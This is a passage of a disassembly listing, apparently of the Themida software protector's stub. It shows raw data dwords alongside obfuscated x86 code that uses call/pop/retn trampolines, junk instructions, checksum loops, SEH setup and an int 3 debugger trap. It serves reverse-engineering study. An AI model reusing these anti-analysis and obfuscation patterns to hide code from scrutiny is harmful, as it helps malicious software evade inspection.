15h dd 10E9h, 792F3F00h, 8BE9A93Eh, 0C345F106h, 74AF2D24h dd 8DC08B3Eh, 15279D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0EDE4E18Dh, 431E84B9h dd 0BB57A1B7h, 70A8632Fh, 0DF8B505Bh, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E521C357h, 4999D89h, 6A0615h, 209D9D8Bh, 6A0615h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 0F6FD4A91h dd 1185892Eh, 8D061510h, 1944B485h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8B6679E9h dd 0A1BD23DEh, 83061519h, 11E805C0h, 6D000000h, 63A8FE90h dd 370EFAB4h, 54C5163Dh, 8E257A9h, 0EAA0BF66h, 6057505Bh dd 310F5250h, 0C18B585Ah, 4895F61h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 5A86B4DFh dd 0CCFECC15h, 8B006A99h, 1500E19Dh, 8B006A06h, 1519D99Dh dd 7995FF06h, 0E9061526h, 11h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh dd 7766EC69h, 158D8D8Ah, 8B06189Ch, 57D1FFFAh, 8758589h dd 835F0615h, 152DB5BDh, 850F0106h, 5Bh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 9A0A4486h dd 9D8B5519h, 615343Dh, 179DBD8Bh, 26A0615h, 10E9h, 6D82D700h dd 256A44E6h, 5EDB8F2h, 4904846Fh, 8B6650DAh, 240489DEh dd 0FFDF8B66h, 151D4D95h, 95858906h, 0E9061507h, 0E8Eh dd 0E8h, 0ED815D00h, 61944BEh, 66DFB660h, 2192E081h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0F5E6BC84h, 440AB6F6h, 88F9858Dh, 6A0618h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 6E0861C3h dd 0F5BAD0F8h, 0FB8B6690h, 13890F50h, 0E9000000h, 0Eh dd 0F8EB093Eh, 7175EAA7h, 5D79DCA8h, 6A902B25h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0D397C350h, 0CC37C740h, 32D8B560h, 3BD3DF81h, 64FC38BDh dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8166C9C3h, 648467C7h, 2589h, 85890000h dd 6150591h, 0D3F9F781h, 85FF1C2Bh, 6151535h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A7C35141h, 6A7302A3h dd 0F1BB66FFh, 5D5BBB77h, 0B5FF5D4Fh, 6151D45h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 28C35242h, 37F18811h dd 3C8C0C46h, 5BD2351h, 5F061510h, 8BD95FFh, 11E90615h dd 81000001h, 13AD0FEFh, 0B0FC12h, 0E6F9BF0Fh, 0DBBF0F70h dd 8B6671E4h, 0F613CFBh, 0F383h, 5E900h, 0E8D60000h, 0FC27463h dd 9D0BC8B6h, 6151D19h, 6BAh, 8589FC00h, 6150461h, 9589C18Bh dd 61510C9h, 8904E8C1h, 150A85BDh, 0E2F76606h, 9E9h, 0E9DBF100h dd 0A12009E5h, 0C82B4F58h, 0DB9BD89h, 0D18B0615h, 0DE9h dd 0C327AE00h, 76D0E4CEh, 7E233955h, 6E9DD8Bh, 1000000h dd 1522F185h, 0D9858B06h, 0F061527h, 682h, 0D18D8900h dd 0E9061526h, 0Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h, 83B439ECh dd 0FB8B07C0h, 8100C083h, 166B65C3h, 0FD03B59h, 1183h dd 819D8B00h, 0E9061528h, 44h, 3445BD8Bh, 8D8B0615h, 615079Dh dd 33F99D89h, 0E1830615h, 29840F01h, 0E9000000h, 0Ah, 0EA474BC0h dd 0F5162D95h, 0A58335A6h, 615079Dh, 89FA8AFEh, 1527D995h dd 85B50906h, 0E9061503h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+618D834h] or [ebp+6153415h], edi push 0 jb loc_5BE166 mov edi, [ebp+61510FDh] loc_5BE166: ; CODE XREF: Themida_:005BE15Aj call dword ptr [ebp+6152E21h] push 0 push ecx call sub_5BE177 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE177 proc near ; CODE XREF: Themida_:005BE16Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5BE177 endp ; --------------------------------------------------------------------------- dec ecx sub al, 8Ch fdivr qword ptr ds:554D1FFDh mov edi, 0EBA733Dh sub [ebp+61527ADh], ecx mov ecx, 7AAh push 0 push ebp call sub_5BE1AB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE1AB proc near ; CODE XREF: Themida_:005BE1A3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5BE1AB endp ; --------------------------------------------------------------------------- push ss retf ; --------------------------------------------------------------------------- adc al, [ecx+edi*8+640941A6h] fisttp dword ptr [ebx+1510F59Dh] push es jl loc_5BE1D6 mov ebx, 0C3CFAF8h loc_5BE1D6: ; CODE XREF: Themida_:005BE1CBj and ecx, 0FFFFFFFCh jmp loc_5BE1EA ; --------------------------------------------------------------------------- dw 1A8Fh dd 3495DB3Dh, 2D523235h db 5Dh, 0B1h ; --------------------------------------------------------------------------- loc_5BE1EA: ; CODE XREF: Themida_:005BE1D9j cld call sub_5BE202 sbb eax, 0A7246D88h push esi db 36h wait or al, 53h setalc cmp esi, ebp ; --------------------------------------------------------------------------- db 8Dh, 0C6h, 0E9h db 0FAh, 0E1h ; =============== S U B R O U T I N E ======================================= sub_5BE202 proc near ; CODE XREF: Themida_:005BE1EBp mov ebx, [ebp+6151555h] pop edi sub eax, eax mov [ebp+6151A55h], ebx sub edx, edx push 0 push edi call sub_5BE21E and [edi-3Dh], bl sub_5BE202 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BE21E proc near ; CODE XREF: sub_5BE202+14p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BE21E endp ; --------------------------------------------------------------------------- mov ah, bh loc_5BE230: ; CODE XREF: Themida_:005BE235j mov ch, 55h inc esi mov dl, 0F3h db 3Eh jecxz short loc_5BE230 loc_5BE238: ; CODE XREF: Themida_:005BE242j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5BE238 push 0 push ebp call sub_5BE24F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE24F proc near ; CODE XREF: Themida_:005BE247p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5BE24F endp ; --------------------------------------------------------------------------- db 24h dd 74C13858h, 9D8B0FB8h, 6152235h, 7BB5BF66h, 880Dh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 958B4CB9h, 6152721h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 5EC35747h, 4356BAD4h, 9CCEAB7Eh, 8F0Fh dd 8D8B0000h, 61504CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 80C35747h, 0D5BB66F8h, 0C28B50F1h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80DCC357h dd 6A3EE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0B3928BC3h, 0C7A169A1h, 5850F5Eh, 66000000h dd 538AEB81h, 2F49BD01h, 860F0615h, 10h, 0BE9h, 1714C400h dd 15FF9BFh, 0C4C6BE9Fh, 18A9BD83h, 0F000615h, 9084h, 799D8B00h dd 0B806150Dh, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BE387 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE387 proc near ; CODE XREF: Themida_:005BE37Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BE387 endp ; --------------------------------------------------------------------------- push ebx dec byte ptr [ecx] sub di, 6B8Dh mov ebx, edi xor di, 0A81Bh lea ecx, [ebp+6154F9Eh] push 0 push edi call sub_5BE3B7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE3B7 proc near ; CODE XREF: Themida_:005BE3AFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5BE3B7 endp ; --------------------------------------------------------------------------- or eax, 57922707h jo loc_5BE3D8 mov [ebp+6152725h], ebx loc_5BE3D8: ; CODE XREF: Themida_:005BE3CCj mov [ebp+6150A81h], edx jmp ecx ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BE3EB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE3EB proc near ; CODE XREF: Themida_:005BE3E3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BE3EB endp ; --------------------------------------------------------------------------- mov eax, ds:8B6698C8h fld dword ptr [ebx+151115BDh] push es add [edi], cl test ds:6A0000h[eax], bl push ebp call sub_5BE419 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE419 proc near ; CODE XREF: Themida_:005BE411p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BE419 endp ; --------------------------------------------------------------------------- db 47h, 7Fh, 0B0h dd 19E744Fh, 0BD838CA8h, 6151115h, 6840F01h, 6A000005h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8BD8C357h, 1526859Dh, 15BD8306h, 3061511h dd 4A1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0D9E698C3h, 699D011Ch, 0E8061527h dd 6, 4790AC6Ch, 0BF0F2A99h, 0E9605BD8h, 9, 3BC7B42Eh dd 5EB7F26Ah, 0D98C664Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 6DC35141h, 0AD950975h, 80061510h, 6A04E1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0C90A8CC3h, 1AD840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0A28F1C3h, 0E9304086h dd 0Ch, 5335B7EFh, 32F05B29h, 0E2441EDFh, 249D858Bh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 907979C3h, 68D0Fh, 0F7810000h, 5C3D8D46h, 19B58533h dd 8E90615h, 0F000000h, 37AD0A09h, 50908792h, 89F98B66h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 3DE782C3h, 0F1DB99C6h, 31D1CD00h, 1500359Dh dd 0DE806h, 0FE0C0000h, 0EFA4240Ch, 7980345Ah, 666A9079h dd 5F6B85BFh, 2F05BD8Bh, 6A0615h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 67C35545h, 2F219D8Bh, 0FCB70615h dd 22187368h, 0FA8B66C6h, 8C240481h, 6A39FCEBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 84F9C353h, 0E44508DEh, 6690B3C1h, 3827CB81h, 0DAD95FFh dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 42A540C3h, 998589BCh, 6A0618BFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0BDBC356h, 47E922EBh, 6A000002h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 800BC356h dd 76532CB6h, 0FE9E6h, 0F9460000h, 0D1A3FC0h, 8A07EA89h dd 73E43F8Ah, 8D95295Ah, 8B06150Ah, 18BF9185h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C7A43Bh, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 70C35141h, 0C04C0979h, 0B58BD688h, 618BF95h, 0A319D8Bh dd 858B0615h, 6150C45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 1EC35747h, 274B6002h, 7D9D8B16h, 8906152Dh dd 0D1BD8906h, 8B061522h, 15249D85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 9DE1649Fh dd 46890A75h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 9D8973E4h, 6152FD9h, 2D999D2Bh, 60960615h dd 972C1BB8h, 2800F45h, 50000000h, 6650615Eh, 964BE3BFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 58C35242h dd 60DFB70Fh, 9E3DBE66h, 188DB58Bh, 0FF610615h, 18BF91B5h dd 4E806h, 3FF0000h, 8A0F001Fh, 0Ah, 48E0Fh, 0BF660000h dd 0BB502CE6h, 7310281Ah, 424448Bh, 8BD88B66h, 0F98B6600h dd 4244489h, 2EB35250h, 5352310Fh, 585A5F5Bh, 66606058h dd 9785C981h, 23519D89h, 0BF610615h, 0CD4838Bh, 99858D61h dd 6A0618BFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F05C350h, 683h, 71BD3300h, 50061504h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3625C353h, 0F9E59928h, 0F4E19E5h dd 680h, 5DBD8B00h, 66061507h, 20C6EF81h, 0DAD95FFh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 430B93C3h, 0C9FDEF9Dh, 0E19BD2Bh, 0F610615h, 683h, 31CB8100h dd 0C77893CEh, 15111585h, 306h, 1D9D8B00h, 83061529h, 18BF99BDh dd 840F0006h, 2Fh, 870Fh, 3FE90000h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0FFB9C350h, 66FBA6C3h, 507CCCBFh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 9529C08Bh, 615344Dh, 28B99D8Bh dd 10E90615h, 2E000000h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh dd 838D1CEEh, 151115BDh, 850F0306h, 3B7h, 1D719D8Bh, 0BD830615h dd 618BF99h, 0A4840F00h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 88B6C351h dd 8BB06DFCh, 1523999Dh, 99B5FF06h, 6A0618BFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7128C352h, 0D4CF80E5h, 10E195FFh, 880F0615h, 12h, 6E8h dd 7D2D7200h, 0F538D7Dh, 8Fh, 0B58B5F00h, 618BF8Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h, 0ACBDD3A2h dd 0E9BAF0F3h, 0Fh, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh dd 0C72D0011h, 1000106h, 0F1BD0300h, 5006152Eh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 87B1C357h, 4CB8EB49h, 0B5FF7741h, 618BF99h dd 2A65BD8Bh, 95FF0615h, 61506A1h, 958D31FCh, 8B06150Dh dd 18BF8DB5h, 0F59D8B06h, 8B061526h, 15005985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9B0A272Fh, 6E83DE0h, 0E0000000h, 0CA7A51C3h, 13E9A6h dd 0DC90000h, 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh dd 86895F89h, 0C4h, 2146DB81h, 958B61D9h, 6152721h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C0C35343h, 0FC026216h dd 1EE3BC2Fh, 0DF07EF81h, 0C28306F2h, 9D896004h, 6150CA5h dd 0FAB70F61h, 0B3205089h, 58858D4Eh, 8B0618D4h, 0B88689FAh dd 0E9000000h, 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch dd 0FF4786ABh, 2D31B529h, 6A0615h, 8F0Fh, 0B5FF0000h, 618BF99h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h dd 6850F70h, 3000000h, 150981BDh, 0A6F78006h, 1D4D95FFh dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C19852C3h, 26523554h, 33A25966h, 1513719Dh dd 5096F906h, 89D5BB66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 1115D122h, 8BDD4553h dd 99B5FFFEh, 0BF0618BFh, 4244F709h, 72995FFh, 0F3BB0615h dd 83623C8Dh, 150065BDh, 840F0006h, 5Eh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9DC35343h, 576C929Ah dd 0C381B54Fh, 1C5C1F77h, 5E950h, 98F40000h, 891F49C3h dd 0DE82434h, 67000000h, 138C91A2h, 0B95CB2B9h, 99B80E75h dd 10E9h, 0B50EE800h, 0F1248726h, 0AB83019Bh, 534AC79Dh dd 0B5FF5BF4h, 618BF99h, 2DF8F781h, 95FF2DD0h, 6150439h dd 37A3BF60h, 9D0910F5h, 6150451h, 99B5FF61h, 6A0618BFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 993FC355h, 0C8C7CB2h, 2C718D01h, 95FF0615h dd 6150DCDh, 0DE8h, 11758A00h, 73B89833h, 63D9E7EEh, 5FFC6177h dd 285DBD83h, 0F020615h, 3C84h, 65850900h, 8B061518h, 15284985h dd 0FB8B6606h, 12E4F781h, 0C624C2h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D0F4B8Dh dd 1, 0F585C7F5h, 61523h, 8B000000h, 152B45BDh, 919D8B06h dd 0E9061505h, 0FFFFF2A7h, 6AC18Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 55847C3h dd 74BB662Ch, 0CF816606h db 1Bh, 47h word_5BED76 dw 858Dh ; DATA XREF: Themida_:0057A7F8o dd 615279Dh, 398D8B60h, 9061513h, 15182D9Dh, 0CF816106h dd 6880ED7Ch, 12E850h, 538D0000h, 0B4753F21h, 0B32C96E4h dd 0BAD2EB9Bh, 5FF4B5A4h, 0F7C20EBBh, 4895B6Ah, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 600CE4BAh, 840Fh, 0BD8B0000h, 6152789h, 6A006A61h, 0AE900h dd 130000h, 332BA79Fh, 2187991Ah, 54D1858Dh, 6A0619h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E3C667C3h, 0DEA71C28h, 95892C49h, 6152219h, 8905C083h dd 150A85BDh, 8EB35006h, 31240489h, 15137185h, 0A810F06h dd 0E9000000h, 5, 5EBA8C62h, 1006A50h, 150B7D95h, 0FF006A06h dd 15267995h, 58D8906h, 8D06151Eh, 189C158Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 707840FEh, 80FB67C7h, 0E59D8BC6h, 8B061514h, 151A35BDh dd 89D1FF06h, 15303585h, 0B5BD8306h, 106152Dh, 5A850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 335F5BC3h, 95094E0Eh, 6150321h, 9D8B026Ah dd 6150A69h, 14E950h, 34980000h, 807FD7CEh, 1A8F279Ah dd 3495DB3Dh, 2D523235h, 489B15Dh, 0F9BF0F24h, 1D4D95FFh dd 95890615h, 61528D5h, 0CFEE9h, 0E800h, 815D0000h, 1954DBEDh dd 0CE906h, 765B0000h, 2C7336FEh, 155B2CFEh, 6A01E3h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0D0C044C3h, 9D8B1A92h, 61523E9h, 88F9858Dh, 85890618h dd 6151379h, 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 94C35646h, 0DCC686F8h, 35FF643Fh, 0 ; --------------------------------------------------------------------------- or [ebp+6152F41h], esi mov edi, [ebp+6152555h] mov large fs:0, esp xor bx, 6960h jo loc_5BEFA1 movzx edi, si loc_5BEFA1: ; CODE XREF: Themida_:005BEF98j inc dword ptr [ebp+6151535h] mov edi, esi loc_5BEFA9: ; CODE XREF: Themida_:loc_5BFBD0j push 0FFFFFFFFh push dword ptr [ebp+6152F59h] mov edi, [ebp+61515E9h] jmp loc_5BEFCF ; --------------------------------------------------------------------------- dd 0DFC1A589h, 897F16D7h, 8B77BD54h, 0A8E6F944h db 7Bh, 0BDh, 44h ; --------------------------------------------------------------------------- loc_5BEFCF: ; CODE XREF: Themida_:005BEFB7j call dword ptr [ebp+61508BDh] jmp loc_5BF0E6 ; --------------------------------------------------------------------------- dw 8B66h dd 8900B0FBh, 15262595h, 758D8906h, 0E6061524h, 9E970h dd 0B1850000h, 0E23BFFA1h, 0E45A4984h, 11E871h, 18D50000h dd 5E4D9E88h, 0FA8C22C1h, 97F0A6B6h, 8BA6DA18h, 613C5FDFh dd 0C8830Fh, 8D090000h, 6152B1Dh, 0B3C8B60Fh, 38A0F7Eh dd 0F000000h, 6BAF9BFh, 0BB000000h, 1323C99Fh, 8B66C18Bh dd 4E8C1F9h, 0E2F766F5h, 0A259D89h, 0C82B0615h, 0BD39D781h dd 0D18B5901h, 49B58952h, 5B061503h, 1E9h, 858BF900h, 6151D91h dd 5698501h, 0C0830615h, 6E95707h, 36000000h, 147985ECh dd 0C0835B8Ah, 0C99D0300h, 0F061511h, 286h, 3B62B300h dd 10830FD0h, 0BF000000h, 3B3555C1h, 41E9h, 0E19D8B00h dd 8B061520h, 1528718Dh, 51858906h, 8306152Ah, 840F01E1h dd 26h, 66DEBF0Fh, 83BEA6BFh, 152871A5h, 957FE06h, 150461B5h dd 95895B06h, 6151D91h, 0DE7911BBh, 0E931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BF0E6: ; CODE XREF: Themida_:005BEFD5j lea esi, [ebp+618E1BCh] push 0 push edi call sub_5BF0F7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF0F7 proc near ; CODE XREF: Themida_:005BF0EFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BF0F7 endp ; --------------------------------------------------------------------------- sbb dword ptr [esi+3Fh], 0FFFFFF81h mov dword ptr [ebx+2Ch], 6A0290h push ecx mov bx, 9D61h pop edi call dword ptr [ebp+6152E21h] push 0 push edi call sub_5BF129 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF129 proc near ; CODE XREF: Themida_:005BF121p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BF129 endp ; --------------------------------------------------------------------------- dec esi sbb esi, [esi-42h] mov ebx, [ebp+6152589h] mov ecx, 0DD2h push 0 push ebx call sub_5BF153 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF153 proc near ; CODE XREF: Themida_:005BF14Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BF153 endp ; --------------------------------------------------------------------------- jns short loc_5BF181 push es int 3 ; Trap to Debugger mov di, 0ADCh and ecx, 0FFFFFFFCh mov ebx, 1316823Eh jmp loc_5BF181 ; --------------------------------------------------------------------------- dd 0E4A280B7h, 806CF5B4h db 1 ; --------------------------------------------------------------------------- loc_5BF181: ; CODE XREF: Themida_:005BF163j ; Themida_:005BF173j cld mov [ebp+6151135h], eax xor di, 6DADh sub eax, eax push 0 push ebp call sub_5BF19A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF19A proc near ; CODE XREF: Themida_:005BF192p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5BF19A endp ; --------------------------------------------------------------------------- dw 4D63h ; --------------------------------------------------------------------------- push ecx mov ebx, 700AB549h pop ebx mov ebx, [ebp+6151E6Dh] mov edx, 0 sbb bl, 8Dh loc_5BF1C1: ; CODE XREF: Themida_:005BF1CBj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5BF1C1 mov [ebp+61510DDh], esi push 0 push ebx call sub_5BF1DE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF1DE proc near ; CODE XREF: Themida_:005BF1D6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BF1DE endp ; --------------------------------------------------------------------------- dw 0D0A4h ; --------------------------------------------------------------------------- mov dh, 7Ch jmp loc_5BF203 ; --------------------------------------------------------------------------- db 0D1h dd 921481B0h, 4AB1CC16h db 1Dh, 5Fh, 85h ; --------------------------------------------------------------------------- loc_5BF203: ; CODE XREF: Themida_:005BF1F2j or eax, 88h push 0 push esi call sub_5BF213 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF213 proc near ; CODE XREF: Themida_:005BF20Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5BF213 endp ; --------------------------------------------------------------------------- db 8Dh ; --------------------------------------------------------------------------- fidivr dword ptr [ecx+73h] fldenv byte ptr [edi] add al, 8Bh xchg eax, ebp and [edi], esp adc eax, 57006A06h call sub_5BF23B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF23B proc near ; CODE XREF: Themida_:005BF233p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5BF23B endp ; --------------------------------------------------------------------------- adc [ebx+1504CD8Dh], cl push es push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] loc_5BF263: ; CODE XREF: Themida_:005BF2B4j pop eax mov ebx, [ebp+61525E5h] push 0 push edi call sub_5BF275 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF275 proc near ; CODE XREF: Themida_:005BF26Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BF275 endp ; --------------------------------------------------------------------------- mov esi, 66698F4Ch mov edi, esi cmp dword ptr [ebp+61518A9h], 0 jz loc_5BF2F3 and edi, 65657F7Bh sbb bx, 8DFCh mov eax, 0 jmp loc_5BF2BF ; --------------------------------------------------------------------------- fistp word ptr [eax+7C1F66C4h] jmp short loc_5BF263 ; --------------------------------------------------------------------------- dw 0AECEh dd 874F59BDh db 0C7h, 54h, 0A3h ; --------------------------------------------------------------------------- loc_5BF2BF: ; CODE XREF: Themida_:005BF2A9j lea ecx, [ebp+6154F9Eh] and ebx, [ebp+615136Dh] jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BF2D8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF2D8 proc near ; CODE XREF: Themida_:005BF2D0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BF2D8 endp ; --------------------------------------------------------------------------- and cl, [ebx+152F159Dh] push es mov bx, 6DA9h loc_5BF2F3: ; CODE XREF: Themida_:005BF293j cmp dword ptr [ebp+6151115h], 0 jz loc_5BF71A push 0 push esi call sub_5BF30B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF30B proc near ; CODE XREF: Themida_:005BF303p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5BF30B endp ; --------------------------------------------------------------------------- db 0F3h dd 6E136B20h, 0E9500091h, 0Bh, 0D8532E8Dh, 81CA6770h, 5B1D376Eh dd 0F18D0153h, 5B061508h, 1115BD83h, 0F010615h, 3EC84h dd 618D8900h, 8306150Ah, 151115BDh, 860F0306h, 3A3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h, 49837FD0h dd 12E9DFh, 772F0000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah dd 4A8804E5h, 